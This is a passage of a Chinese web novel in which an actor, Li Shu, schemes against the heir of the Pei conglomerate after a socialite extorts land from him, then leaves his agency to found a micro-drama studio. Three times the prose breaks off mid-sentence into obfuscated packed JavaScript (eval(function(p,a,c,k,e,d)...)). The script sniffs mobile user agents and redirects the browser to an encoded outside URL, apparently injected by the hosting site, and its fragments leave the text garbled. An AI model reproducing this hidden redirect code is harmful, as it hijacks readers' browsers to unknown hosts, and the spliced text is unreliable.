“那别怪我鱼死网破，给他看看乔总的转账记录了，五百万呢，加上我这些年来的积蓄，足够我润出国了。”黎舒勾了勾唇角，和乔凛对视一眼，两人脸上有一种狼与狈之间不可言说的默契。 乔凛正要继续调侃两句，门铃便响了。 看了眼门口的监控，她对黎舒一顿挤眉弄眼。 “咦？裴总现在还能走过来，可见雏儿就是雏儿，去了两小时，三分钟办完正事。” 黎舒耸耸肩，拒绝自证陷阱。 乔凛也没让黎舒去其他地方，直接便开了锁。 裴毅寒进屋后，看到沙发上坐着的黎舒，面上闪过一抹阴郁。 “乔凛，这就是你取消联姻的理由么？其实，你大可不必这样，我不介意你跟别的男人交往，我们可以各取所需。” 这质问的语气是在？乔凛扬了扬下巴，冷笑道：“裴毅寒，其实我也不介意各玩各的，但面子总要过得去，你以为我是因为你跟那女人的事情才取消联姻的？宰相肚里能撑船，老娘的胸襟不至于如此狭隘。” 真正的原因自然是裴毅寒那过了头的野心，但乔凛不可能现在就说出真相。 温茉茉是最好的眼线，她还打算利用温茉茉去坑裴毅寒乃至整个裴氏呢，怎么可能提前让裴毅寒对温茉茉产生戒心？ 所以，她给出的理由就是…… “昨晚，你当着我朋友的面跟男人亲得忘乎所以，还主动扯他去了楼上休息室，难道我会觉得你们不是去做恨，而是去打扑克或者炒菜了？你以为你找保镖把屋里的痕迹收拾一番，然后从后门偷溜回去，就能当什么都没发生了？” 说着，乔凛便打开了投影幕布。 上面显示的画面，正是裴毅寒把白猫面具青年摁在墙上生啃的画面。 乔凛抽空瞥了眼黎舒。 黎舒惊讶得目瞪口呆，就跟菊外人似的。 乔凛撇了撇嘴角：人是雏儿，脸皮倒是厚得很。 荧幕里的两位主人公啃啃啃，啃了很久，啃到裴毅寒本人现在的脸都涨成了猪肝色。 “够了！” 乔凛露出邪气的表情：“哪里够了？还有更搞笑的呢！” 然后，荧幕里的裴毅寒像是一头瞎了的色狼，拽着可怜的白猫面具青年到处乱撞。 就在裴毅寒气得浑身发抖时，黎舒无辜地举起了手。 “那个……两位既然要谈私事，要么我先撤？” 4. 第 4 章 这是裴毅寒进屋以来第一次正视起黎舒。 青年穿着克莱因蓝的连帽卫衣，卫衣上印着哭哭白兔的图案。这个颜色很挑人，但青年的皮肤够白，是那种浸透了月光的冷白色，完美符合那一副清隽温润、斯斯文文的样貌，好似一个被白玉雕琢起来放在展览柜里的大型娃娃。 明明对峙的是裴毅寒和乔凛，此刻反倒是青年像犯了错一般，窘迫地垂着眼，一副拒绝过度探究他人私事的模样。 青年看着就是个好人家的孩子。 但正因为黎舒是个正经人，裴毅寒仿佛从那双沉静的眼睛里照见了污秽的自己，让他愈发觉得难以自容。 “……请回避。”裴毅寒声音极为沉闷，像是被厚重的布闷住了尴尬的颤抖，甚至让黎舒品出几分哀求的滋味儿。 乔凛立马扬声：“不准走！” 乔凛走到黎舒前面，用力拍了两下他的肩膀，回头朝裴毅寒竖起中指。 “裴毅寒，老娘在自己家招待朋友，你算个什么东西，也好意思反客为主？让他看看热闹怎么了，这段录像里来来往往的人还少吗？你当着我还有我那么多朋友的面跟人家亲都亲了、抱都抱了，现在装什么贞洁烈男？” 裴毅寒竭力维持体面，辩解道：“我喝多了，当时我体内的酒精含量已经达到了97毫克每百毫升，已经是醉酒的程度。” 乔凛长长地“哦”了一声：“你想说你这是酒后乱性，不是出自你的本心？” “……我们没有做到那一步。”裴毅寒现在就是捏紧拳头抵死不认，“你大可以把人找过来当面质询。” “放你爹的狗屁！”乔凛一下就骂开了，“裴毅寒，你可真能装蒜啊，要不是《走近科学》完结八百年了，你这戏可以出三期！你要是勇于承认自己喜欢男的希望我主动退婚，我也就不说什么了，你把人强了还不认，你要死啊你！” 听到这里，裴毅寒额角青筋抽动几下，内心就跟被套了麻袋一样憋屈。 “我没有那个能力，当时我连正常行走都成问题，还怎么跟人发生关系？更别提对面是一个比我还高大的男性……你的论断无法成立。” 乔凛双手环抱：“哦，我又明白了，虽然是你主动招惹人家的，但你才是受害者？招如笑！” 裴毅寒不愿承认这一点，却也无法否认这一点，只能掏空心思为自己圆谎：“一切都是误会，你把对方带过来，我会给予对方一笔精神损失费。” 显然，裴毅寒是打算花钱摆平这件事，把所有的委屈都打碎牙齿和血吞。 对于白猫面具青年，他不可能不憎恨，但在这个和平社会，悄无声息地搞死乔凛社交圈内的一个朋友，想想也知道是不可能的……说不定事情真走到那一步，反而乔凛乐见其成，这正好给了乔氏打击裴氏的大好机会。 “你打算给多少？”听到这里，乔凛来了兴致，“我帮你转交给他就是了。” 取支票本的间隔，她在裴毅寒看不到的角度不咸不淡地瞥了黎舒一眼：小子，看姐给不给力，咱什么都能少，万不能少了雏儿的血汗钱呐！ 黎舒嘴角一抽。 还是要感谢姐姐的多管闲事了，不过不需要。 他还没有可悲到要去站街谋生的地步，再高级的站街那也是站街。 那厢，乔凛将支票本和钢笔递给裴毅寒：“我刚刚问过了，他要一个亿。” 黎舒：…… 黎舒不否认自己心动了一瞬。 而裴毅寒确定自己没看到乔凛有拿手机的动作，凉薄的嘴唇抿成一条直线，好似将所有的怒火都锁在齿关之间：“究竟是他要，还是你要？” “哎呀，被拆穿了？”乔凛有恃无恐地抬了抬下巴，“给我一个亿，否则我就把那个房间里的录像公开。” 霎时，裴毅寒的脸上便失去了血色，嘴唇不受控制地颤抖着，隐约可以看到“我没有”的口型。 但这三个字却像是被某个诅咒攫住一般，落入空气的刹那便消失不见。 等裴毅寒刚要在支票本上动笔写下金额的时候，一双手从旁边出现，夺走了支票本和钢笔。 抬眸一看，竟是黎舒。 “乔姐，昨晚我也在那间别墅的客房里，洗完澡后还裸奔了，乔姐难道是打算先把监控藏起来，以后再找我要赎金吗？”黎舒用半开玩笑的语气对裴毅寒说，“裴总，乔姐刚对你开玩笑的，所有楼上的房间都没有监控，那是供我们这群撑不到后半场的朋友休息的地方。” 乔凛瞪了黎舒一眼：“就你爱说大实话。” 害姐平白损失了一个亿。 当老娘这么辛苦要钱是为了谁？ 哦，是为了我自己啊，那没事了。 短短的几秒功夫，裴毅寒像是被人从深海里捞出来一样，冷汗浸湿了后背，肺部也因过速呼吸而产生针扎一般的疼痛。 乔凛很乐于见到裴毅寒被吓得不成人形的样子。 为了这点小事儿就失去镇定，还想吞下乔家的财产？也不撒泡尿照照镜子。 “现在看来，你对你那个金屋藏娇的小女朋友倒是真爱。” 堂堂一个豪门少爷，为了一次风流韵事就怕成这样，可见是遇到真爱了。 早先，乔凛一眼便看出裴毅寒是那种不会在外面玩的男人，因此，一向风流的她难得拿出了认真的态度对待这次商业联姻，而在遭到裴毅寒的背叛后，她也变本加厉地报复了回去。 忽然想到什么，乔凛笑倒在了沙发上：“该不会你昨晚就是把人家认成你那小女朋友了吧？天菩萨！明明哪哪儿都不像啊！” 然后她起身，一人分饰两角地自言自语起来。 “娇娇，你怎么忽然长高了啊？” “因为这样才能把你抱在怀里。” “娇娇，你身上怎么忽然多了这么多肌肉块啊？” “因为这样才能抱得动你。” “娇娇，你身上带的刀子怎么不小心戳到我了……” “因为这样才能狠狠蛄蛹……” “够了！！！”裴毅寒的忍耐在乔凛的戏弄中像是一条绷到极致的弹簧，终于“啪”的一下断裂了。 他的眼睛里遍布血丝，面部肌肉狰狞地扭曲起来，如同一头被惹怒的野兽，哪怕拼得个两败俱伤也要把乔凛撕了。 黎舒赶忙拦在他身前：“裴总，你今天是来做什么的？先把正事办好，乔总就是喜欢开玩笑……” 裴毅寒从公文包里取出一份文件丢给乔凛。 “新河镇那块还没开发的地皮，是我今天的底线。” 不久前吃下去的止痛药提前失效，浑身的肌肉都在刺痛，他已经一刻也不想要再应付乔凛了。 他此生做过的最错误的决定，就是昨晚接了乔凛的电话，还亲自跑到别墅去接人，结果把自己都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16011369|178401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赔了进去！ 乔凛毫不客气地接过文件，眨眼间便露出了亲和的微笑。 “裴总大气，今天又是表演又是倒贴钱，活如（该）……啊不，辛苦了。” 裴毅寒仇恨地瞪视着乔凛，要将女人的得意深深地刻在心底，完全不记得是自己先一步尝试暗算对方的，更加没有暗算错人的懊悔。 “乔凛，我最后再问你一个问题……你昨晚是不是故意灌我酒？” 一拥而上的人群将他的四肢压制，那种恐慌难以言语，他仍然记得自己像是一只砧板上的肉菜一样，连内脏都被酒精腌入味。 “是。”乔凛收敛了笑容，从容地说，“我想着毕竟你是我未婚夫，被我朋友灌点儿酒，也算是给他们示个好，谁能想到你喝醉酒后居然还能把男人认成小女朋友？” 裴毅寒眯起眼睛，分析着乔凛话语中谎言的成分：“昨晚的一切都是意外？” 乔凛直勾勾地看向他：“是。” “……我知道了。”裴毅寒闭了闭眼睛，让人看不懂他在思索着什么。 片刻后，他抬腿离开，却在玄关处踉跄了一下。 黎舒三步并作两步地搀扶起裴毅寒，回头朝乔凛道别：“乔姐，我也先走了，下次再见。” “再见，黎小弟~”乔凛笑眯眯地和黎舒招了招手。 今天家里真热闹，值了！ 不过，她好像忘了什么？ …… 地下停车场。 裴毅寒坐上车后，绷紧的肌肉舒缓下来，面露暖色地朝黎舒点了点头。 “刚才多谢你了，你叫什么名字？” “我叫黎舒，黎明的黎，舒服的舒。” “黎先生。”裴毅寒从后座递出一张私人名片，“上面有我的联系方式，可以直接搜索到我不对外公开的社交账号。” 这便是让黎舒之后加他好友的意思。 “谢谢裴总！”黎舒惊喜地笑了，眉眼弯弯的模样十分讨喜，看上去像个还未毕业的大学生，带着一股尚未初入社会的青涩稚气。 裴毅寒注视着黎舒的脸，目光又扫到卫衣的哭哭白兔上，愈发觉得黎舒像只兔子。 也不知道这样正直到惹人怜爱的青年为什么会跟乔凛那种人做朋友？ ……不对，或许正是因为青年身上的亲和力，才让乔凛主动找他做朋友。 关上车窗，裴毅寒的心情因为黎舒的照顾微妙地好了一分。 哪怕只是百分之一，但也像是漫漫黑夜中的一点萤火，给予他一丝暖意。 …… 不久后，当乔凛收到黎舒发来的消息时，她才总算记起自己忘了什么。 【付费升级解锁VIP，获取更多独家资讯，请问是否充值？】 “握草！上当了！” 对啊！她之前还想问黎舒和裴家的过去来着，但是被裴毅寒的到来打断了谈话。 后面她怼裴毅寒怼得太爽，还赚下了一块地皮，就忘了这码事。 怎么就能忘了呢？ 现在倒好，又要被敲一笔了！ 那小子当什么演员啊，应该去做游戏策划！这么狗！ 身为一个家财万贯的富二代，乔凛当然……不会充钱。 “哼，想要钱是吧？没门儿！你小子的内幕我自会查到，顶多耗费点时间而已。” 你乔姐不蒸馒头争口气。 5. 第 5 章 【TD】 看到乔凛发来的消息，黎舒露出一个意料之中的笑容。 正所谓撒一个谎要用一百个谎来圆，无论他当下讲的故事有多么感人肺腑，以乔凛的性格，听完后必定会顺手验证一下真伪。 既然如此，那他不如打从一开始就什么都不说，想必乔凛会从他去世的父亲那入手去查。 如果真能查到点什么就好了……当然，他并不抱太大指望。 毕竟，他的父亲林炜豪是23年前在距离海州市千里之外的鹏城去世的，据说尸体被大卡车碾得稀碎，而家里人跑去处理丧事都要赶一两天的路，背后的那点污垢早就被收拾干净了。 不过，黎舒很确信自己的父亲不是车祸去世的。 鬼魂的模样便是它们的死相，比如温父是跳楼死的，所以它是跳楼后破碎的模样。 而黎舒的父亲却并非是车祸的死相。 狭小的单身公寓内香火缭绕。 黎舒每晚都会给家人的牌位上香，分别是父亲，还有前几年刚去世的爷爷奶奶。 二老的鬼魂在停灵七日、火化下葬后便消失不见，此时站在牌位旁边的，只有一个披着残破西装的青年。 青年的脸因窒息而变成狰狞的紫青色，原本俊朗的面容扭曲到难以辨认，充血的眼球好似即将从眼眶中滑落，僵直外吐的舌头里呢喃着模糊且怨恨的低语。 而最重要的是，有一双漆黑的手印横亘在青年细长的脖子上。 林炜豪是被人掐死的。 惨白的身躯上还留着牙齿啃咬的印记，僵硬的手指缝隙中还残留着凶手的衣服碎片，想来在生前最后一刻，林炜豪都不曾停止过反抗，但最后他依旧是死了。 当时究竟是什么情况，恐怕除了行凶者外，已无旁人知晓。 甚至直到今天，黎舒的母亲还有他去世的爷爷奶奶，都认为丈夫/儿子的死因是一场交通意外，是天妒英才。 黎舒是家里唯一一个还记得这段被埋藏的仇恨的人。 “爸，我本来以为复仇无望，没想到事情进展竟然能如此顺利。我今天已经正式和裴氏现任总裁接触上了，他真是出乎意料的容易看透。” “虽然那副不近人情的冷硬外表看起来很有迷惑性，但他就像个瓷瓶一样，无论造价再怎么昂贵，只需要轻轻一推，‘哗啦’一下就碎掉了~” 黎舒的脑海中浮现起裴毅寒昨晚扬言要杀了自己的怒容，再想到今天裴毅寒试图拿钱平息事端，一整个仓皇无措的模样，他不由得舌尖舔了舔嘴角，心里有一股无名火在节节攀升。 这份情绪很复杂。 裴毅寒若是符合黎舒幻想中的强大，或许会让他燃起更强的征服欲，他们可以像斗兽场里的野兽那样尽情厮杀，用尽最恶劣最狠辣的手段，直到一方将另一方的头颅咬断，用对方的鲜血熔铸宝座。 而胜者只会是他。 可现在的裴毅寒，外强中干得让人发笑。 局势变成了他单方面的戏耍与玩弄。 “……不行，这想法太傲慢了。” 黎舒停顿了一下，忽然摇了摇头。 不管怎么说，偌大一个裴氏集团在裴毅寒手中都运行得很稳健，黎舒不敢说自己管理公司会更加厉害。 好不容易走到今天这一步，敌人的软弱不能成为他傲慢的理由。 “多亏温茉茉，我已经了解到与裴毅寒交往的最佳方式了。既然他喜欢任性但可控的小宠物，沉溺于低风险的情感满足，那我就先成为一只小宠物……我今天给自己整了个白兔塑，发现他真的很吃这一口。” “他这总裁当的也真是憋屈，想来他这些年应该在家里过得挺艰难吧，各种糟心事都要经过他的手去处理，不然爆出负面舆论影响集团股价就是他的错了……你看，爸，他多么愚蠢。” 明明没有掌控一切的心性和能力，却强撑着不肯罢手，沦落为工具而不自知的大蠢货。 黎舒专门备份了文件，里面存放了近二十年来裴氏集团大大小小的负面风波。 其中和裴毅寒关系最密切的，便是“富二代国外醉驾飙车致三死一伤”事件，肇事者是裴毅寒同父异母的弟弟裴毅松。 因为死的是外国人，所以这件事在国内的讨论度很低，相关资讯还是黎舒在留学生论坛里扒到的，而原帖发出来不到半小时就被删除了。 “那些蠹虫早就构成了裴氏的一部分，就跟腐肉一样，裴毅寒愿意刮骨疗伤的话，总能把自己摘出去，但他不仅视若无睹，甚至甘愿被蠹虫吸血，也别怪旁人觉得他跟那些蠹虫是一体的。” “总有一天，这笔债我会亲手清算。” 明亮的灯光在黎舒的侧脸投下一道锐利的阴影，他嘴角的弧度逐渐加深，加深，加深，近乎畸变，瞳孔缓慢而精准地隔空聚焦在了某个点上，就像是一座被权欲所蛀空的圣像，每一个微表情都在叫嚣着掠夺。 那是被复仇的正义性所粉饰的贪婪与野望。 黎舒过早地见证了阶级的不公，一直以来，他都抓住了一切能够向上爬的机会。 他高考纯文科上了重点大学的冷门专业，入校后结交人脉，八面玲珑，然后赶在大三便签约了一家影视公司，并开始营销包括学历在内一切能够营销的东西去获得流量。 他从不觉得自己是学霸，既没有很热爱学习，专业成绩也只能说是堪堪不挂科。总得说来，他毕业得顺顺当当，但想要在学术方面做出成绩，想要靠学术能力跨越阶级，几乎是天方夜谭。 人贵在自知，他很清楚自己除了脸蛋和身材以外，没有其他能够快速变现的资本。 他想要利用好自己的外形优势，赶在年轻的时候积累足够的财富，去开一家自己的公司，再实现阶级跃迁。 ——至少，他曾经是这么计划的。 而现在，一条捷径出现在眼前，黎舒也毫不犹豫地迈了上去。 想来这就是命运。 “爸，如果你有余力的话，请你像温茉茉他爸那样助我成功吧。” 黎舒看着自己的父亲，神情像是一个讨要糖果的孩子，甚至于他并未奢求大人真的给他糖果，只想得到一句“不可以吃太多糖，会吃坏牙齿”的关心。 可惜，他的父亲全程都没理睬他，只是在口中重复着一句话。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16011370|178401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “裴贺泽……不、得、好、死……” 裴贺泽正是裴毅寒的大伯。 对于父亲的反应，黎舒并没有感到失落。 毕竟这二十多年来，从他记事的时候起，林炜豪就一直维持着这副模样了。 “爸，时候不早了，我先休息了。” 关掉大灯后，房间内特地还亮着一盏小灯。 离开的黎舒并未注意到他父亲那对略微颤抖的眼球，就像是竭尽全力要将瞳孔翻回来看看他一样。 这种变化实在是太细微了。 …… 半夜时分，黎舒忽然被特别关注的铃声叫醒。 一看手机，正是温茉茉。 黎舒默默将手机往远处放了放，然后接通…… “学长！！！” 尖锐的女声如勾子般回荡在卧室内，黎舒庆幸这间公寓的隔音做得好，否则邻居怕是要向物业打投诉电话了。 往更坏的方向去想，很可能第二天就有人发帖称“某娱乐明星半夜发出刺耳噪音”，然后他遭受网暴，不得不公开道歉。 黎舒笑了，笑得很温柔。 “茉茉，你知道心脏骤停的感觉吗？” 温茉茉：“先不管那个，学长……” 黎舒突然大叫：“啊啊啊啊！！！！” 温茉茉被吓得发出尖锐爆鸣：“啊啊啊啊啊——！！！！” “现在知道了吗？心脏骤停的感觉。”黎舒语气冷静得好似刚才尖叫的人不是他一样，“你那边现在是白天，但我这边现在是半夜，就算你很激动，也请尊重一下别人的睡眠。” “……对不起，学长。”温茉茉声音弱了弱，这辈子都不敢给黎舒大声打电话了。 黎舒微笑道：“我没生气，有事说事吧。” 温茉茉停顿了几秒，重新找回振奋的心情：“学长，我看新闻说乔家和裴毅寒的婚约解除了，还是你的主意好啊！” “我知道你很激动，但建议你别太激动，事情不是你想的那样。”黎舒发了一段裴毅寒去乔凛家的监控，沉声道，“我为了你，特地埋伏到了乔家大小姐身边，我可以肯定的告诉你，虽然两人明面上婚约解除了，但裴家还是想再争取争取，而裴毅寒又一次听从了家里的吩咐。” 温茉茉顿时焦心不已：“什么？那我怎么办？我再不回去的话，裴毅寒移情别恋了怎么办？” 黎舒语重心长地说：“我之前就告诉过你，不能半路心软，你放大视频看看，裴毅寒脸上的表情就跟负荆请罪似的，哪里看得出爱了？” 隔了几秒，温茉茉松了口气：“学长，你说的没错，裴毅寒的脸色太臭了，就跟他犯胃病的时候一样。” 黎舒温柔地劝导她：“他暂时还没放下过剩的权力欲，你再等等，听我的，我什么时候让你回来你才能回来，否则现在的努力都要付诸东流。” “好的，学长晚安，抱歉打扰了。” 挂断电话后，黎舒抛开了脑中的所有思绪，继续睡下。 这两天他得向签约公司发起解约，同时注册自己的公司，为了这纪念性的一刻，他得养好状态才行。 6. 第 6 章 黎舒签约的经济公司名叫鑫程传媒，签约这家公司是他深思熟虑后的决定，签约流程也是全程由他律师专业的学长帮忙把控的。 待下来后，他感受到了“我喜欢这一季，因为这一季的人都正常”这句话的含金量。 鑫程传媒是一家十八线小公司，签约艺人基本是多年来在娱乐圈里半温不火的老戏骨，年龄普遍在四十往上，因为商务分成什么的都算厚道，公司内部也不搞乱七八糟的名堂，所以黎舒的同事们总是亲切地喊自家公司为“三金养老院”。 为此，鑫程传媒的王总不止一次地发出提醒，要大家刻烟吸肺地将“我们是一家有大好钱程的正经影视公司”这句话记在心里，但黎舒胆大包天的同事们往往会当着王总的面畅想公司倒闭后改做养老院的情景。 娱乐圈是资本横行的圈子，经纪公司的实力与艺人知名度直接挂钩，鑫程传媒成立已经十年，照理来说也该是“轻舟已过万重山”了。 可眼看着顶流们塌了一轮又一轮，隔壁公司都已经内斗开大了，黎舒的同事们愣是没能冒出一点儿火花——如果走在街上能被大爷大妈认出来，或是在菜市场买东西的时候能顶着角色光环讲讲价就算事业有成的话，那大家确实不算白干。 鑫程传媒自制的剧只有抗战剧和婆媳剧，黎舒跑过的绝大多数剧组也都是这两类剧，他演的大多是男女主的兄弟、同学、前任、白月光等等戏份不重但足够惊艳的角色，偶尔也会去诸如《笔仙大战楚人美之异能觉醒》之类的低成本国产恐怖片去演一演前四番的重要角色。 如果这些角色也都算作品的话，那么黎舒已经成了待爆生里作品最多的人。 而绝大多数时候，他都很庆幸这些东西拍完后播不了。 世界是个巨大的草台班子，剧组随便拍拍拿钱，演员随便演演领工资，观众们也不必知道在世界某个不为人知的角落竟有如此惊天巨屎。 至于投资方会不会哭，黎舒觉得大概率不会，剧组账面上能做的文章太多了……但是真的有人不会在看到那些破烂玩意儿后不去怀疑资金动向吗？ 作为全公司唯一的年轻男花瓶，黎舒十分得到王总的看好，对方扬言他会是下一个“励志草根模范人物”，并疯狂给他接戏。 他是为了累积创业资金才进的娱乐圈，自然是乐得多接戏赚钱的，但令人遗憾的是，现在已经不是草根崛起的时代了，适合年轻花瓶艺人的古偶早已被太子太女们换乘组合，而要拼演技的大剧，像黎舒这样资历的年轻花瓶一时半会儿也挤不进去。 现在黎舒之所以能够在圈子里有点姓名，不光靠他的脸，也还多亏了公司给他买通稿，让他捆绑上了“学霸明星”的行列，列表上的哪个明星有点热度了，其他人也能跟着受益。 每年的地方文艺晚会黎舒都有参与，好几个红色影视剧也是他凭着学历接到的。 他很庆幸自己当初没有被一时的利益蒙蔽了眼，而去签了大厂的卖身契，否则他便会遭受资本裹挟，想脱身都脱身不得，更别提成立自己的公司了。 黎舒一进鑫程传媒大门，就有个穿着老头背心和人字拖的黝黑小叔亲切地朝他打了声招呼。 “这不是黎小弟吗，你上一个剧组跑完没两天，就又来接戏啊？比我们这些老古董可勤快多了。” 一直以来，黎舒的通告都以“小时”划分的，小配角无所谓轧不轧戏，最极限的时候，上午他还在清宫剧里演太子，下午他就顶着花掉的妆造去隔壁民国戏剧组演吸大烟的地主少爷，晚上再去僵尸片里去演回春版的清朝老尸。 黎舒也笑着朝对方问好：“赵哥好，你猜错了，我不是来接戏的，我今天是来解约的。” 赵哥表情立马严肃起来：“好好的怎么要解约了？打算签其他公司吗？要我说你们年轻人也确实该换个地方打拼，我们这养老院能有什么前途，不过你在外也得注意安全。” 黎舒主动分享自己的喜悦：“我已经攒够了钱，之后会自己成立一间影视公司。” 赵哥上前，用结实的胳膊揽住黎舒的肩膀：“那真是恭喜你了！你什么时候有空？大家一起聚个餐给你庆祝庆祝。” 黎舒：“过几天我会在云玺食府请大家吃饭。” 云玺食府是全国知名的连锁餐厅，也刚好是乔家的产业，有乔凛这层关系在，黎舒这次办酒席能省不少钱。 黎舒真诚地说：“虽然我今天解约了，但和大家的关系不会生疏，我们之后的合作会比现在更加频繁，大家有钱一起挣。” 赵哥被说得感动不已，圆圆的眼睛里都冒着些许泪光：“……你有心了。” 别看赵哥现在非常接地气，没有一点儿星味，在剧里演的往往是黑皮壮汉外形的角色，但谁能想到他年轻时还演过男同片呢？当年十八岁的赵哥演技青涩非常水灵，现在年近四十的赵哥就是双倍的水灵，投放进市场绝对大有可为。 一路上，黎舒还见到了不少同事，在婆媳剧里哭哭啼啼多年的林姐适合塞到复仇剧里当重生大女主，而文质彬彬一脸秀才气的李哥就可以跟赵哥打包组cp，趁现在把演绎路线重新规划规划，大家的事业都还能焕发第二春。 慢悠悠地来到五楼总裁办公室，心宽体胖的王总签字盖章，连连叹气。 “哎……金麟岂是池中物，一遇风云便化龙，早在签约的那一天，我就知道我的小公司留不了你多久，只是没想到时间会来得这么快。” 王总唯爱那一口龙傲天网文，想来这句台词他已经想说很久了。 黎舒是在三年前和鑫程传媒签的约，期限是五年，支付十万块违约金后，双方好聚好散。 王总举起茶杯，用一副过来人的口吻说：“年轻人，今日我以茶代酒，祝你前程似锦。苟富贵，勿相忘！” “未来的日子还长着呢，王总。”黎舒饮了口茶水，从包里取出一份文件，笑着说，“我需要聘用贵司的剧组团队，并诚挚邀请贵司的演员加入我全资投入的项目。” “噗……咳咳咳！” 王总嘴里的茶还没来得及咽下去，就被黎舒惊得呛到了。 “全资，你认真的？你是不是中彩票了？”王总倒要仔细瞅瞅具体是怎么回事儿，他在影视圈混了十年，也不敢轻易全资投剧。 当年他自忖家里有点小钱，公司成立之初，便兴冲冲地花五百万拍了部婆媳剧，结果全程问题不断，剧隔了两年才播出来，期间他压力山大，动不动就做了自家剧收视率砸穿底盘的噩梦，好悬没给他吓尿了。 幸好最后那部婆媳剧成功了，收视率很高，至今都还有不少观众津津乐道，但他也知道，自己纯纯是幸存者偏差。 每年不知有多少剧组精心打磨的作品因为各种各样的原因没能播出，最后烂在了手里，播出既是开始，也是胜利。 不过，王总估摸着黎舒毕竟是正经学习过圈内规则的人，学历也高，应该不至于轻易下决定才是。 “投资成本……两百万。” “拍摄周期，一个月。” “每集时长，五到六分钟。” “总集数，预计五十集，酌情增减。” “你这……”王总念完合同上的内容后，冷嘶了一口气，“黎小弟，你这拍的也不是电视剧啊。” 倒像是这两年刚兴起的短视频，自媒体制作者们自己写剧本自己拍，观众们单纯看个乐呵，也不图什么好制作，等短视频火起来后，自媒体制作者们会接广告赚钱。 黎舒解释道：“我的项目的确不是传统意义上的电视剧，而是微短剧。我参考了近两年兴起的短视频文化，以及国外经典动画的生产模式，想尝试一种全新的影视剧拍摄形式。” 电视剧制作周期太长，还要遵循严格的行业标准，回本速度太慢，并且还有很大可能回不了本。 而短时长能更加精准地控制成本，并且只需要接受短视频平台的审查，要知道，对比严格的传统电视剧审查机制而言，短视频平台的审查宽松很多。 “我明白你的意思了。”王总略一思忖，发现黎舒所言确实大有可为，“不过这就更看重剧本了。” 一集五六分钟的微短剧想要吸引人，就要求剧本在开头半分钟内迅速展开以吸引观众，算是精简得不能更精简了，容不得一丝注水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黎舒提前跟村干部打过招呼，因为这都算在村子的经济建设里，所以他也得到了大力支持。 在办席的前两天，黎舒向裴毅寒发去了消息。 【裴总，我的公司刚刚成立，现在想请亲朋好友吃个饭，你是我认识的人里最厉害的，可以赏脸来吃个饭吗？】 这是黎舒和裴毅寒加上好友后发去的第一条消息。 裴毅寒看到消息的第一眼，脑海里就浮现起黎舒那件卫衣上的哭哭白兔。 ……不是他随便歧视人，青年这个温和的性格，真的能管理好一间公司吗？ 在裴毅寒思考的时候，黎舒那边又发来一个表情包。 是一个要哭不哭的兔子，瞪着水汪汪的大眼睛，嘴里说着“拜托了，求求你，好不好，呜呜呜”。 仿佛他拒绝的话，黎舒会狠狠哭给他看。 裴毅寒的视线落在“你是我认识的人里最厉害的”这段文字上，心中是止不住的怀疑。 那天在乔凛家他实在太难看了，青年明明旁观到了一切，还能觉得他“最厉害”吗？ 或许，是青年为他说话后遭到乔凛厌弃了，转而向他示好？ 不过有件事裴毅寒可以肯定。 “看来，他真的很需要我帮忙撑场子……” 办席的日子是在周六中午，裴毅寒查看了一下这两天的行程，发现周六大致是有空的，只是有个股东会议可以往后推一推。 刚好，他也不想在自己把新河镇那块地皮交给乔凛后，继续面对会议室里那一张张唾沫飞溅的臭嘴。 【我正好有空。】 想了想，又加上一句。 【有个无关紧要的会议，不过没什么大碍。】 裴毅寒也不知道自己为什么要加上这一句。 他好像特地彰显了一下自己在公司里的权威，又像是高高在上地完成了一场布施，更像是在内心隐隐期待着对面感激的回应。 裴毅寒捏着手机的手指紧了紧。 直到对面黎舒又发来一个哭哭小兔比心的表情包，裴毅寒才松了口气。 但【爱心发射】的表情包有多萌，黎舒现在就有多无语。 “男人啊……面子大过天。” 这两句话的意思翻译过来就是：我很忙，但我专门为你调整了行程，你不必感谢我，但一定要感谢我的话我也接受……好了，现在感谢我吧。 虽然黎舒也是个男人，但他还是决定去翻一翻儿童心理学，巩固一下男性心理知识。 7. 第 7 章 周六这天，黎舒穿着一身笔挺的西装站在宴会大厅门口接待客人，看上去意气风发。 他在云玺食府总共订了十五桌，每桌是一万的规格，但乔凛看在两人现在同流合污的份上，特地给他打了八折。 再加上黎舒的母亲黎沁柔和继父胡明华也资助了几万，他今天办席算下来也就花了不到十万。 黎沁柔和胡明华两夫妻昨天特地从外省赶过来为黎舒庆贺，还祭拜了一下林炜豪。 自从黎沁柔再嫁，黎舒为了爷爷奶奶留在老家上学，这对母子俩一年到头都见不了几回。 所幸母子间的感情并未生分，而且黎舒的继父胡明华也是个好人，黎舒高中和大学的学费和生活费都是由继父出的。 “我们家舒舒也是出息了。”黎沁柔踮起脚尖摸了摸儿子的头顶，眼底氤氲着些许泪意，“你爸要是看到你开了公司，肯定要敲锣打鼓庆祝的。他就是个爱炫耀的人，有时候炫耀起来令我都受不了，你刚出生不久的时候尿了他一身，他还指着自己的衣服说你尿得有劲，将来肯定有出息呢……都不知道他怎么联系上的。” 这件事黎沁柔说过很多遍。 因为黎舒和父亲林炜豪一起留下的回忆太少了，能说的翻来覆去也就那么点儿。 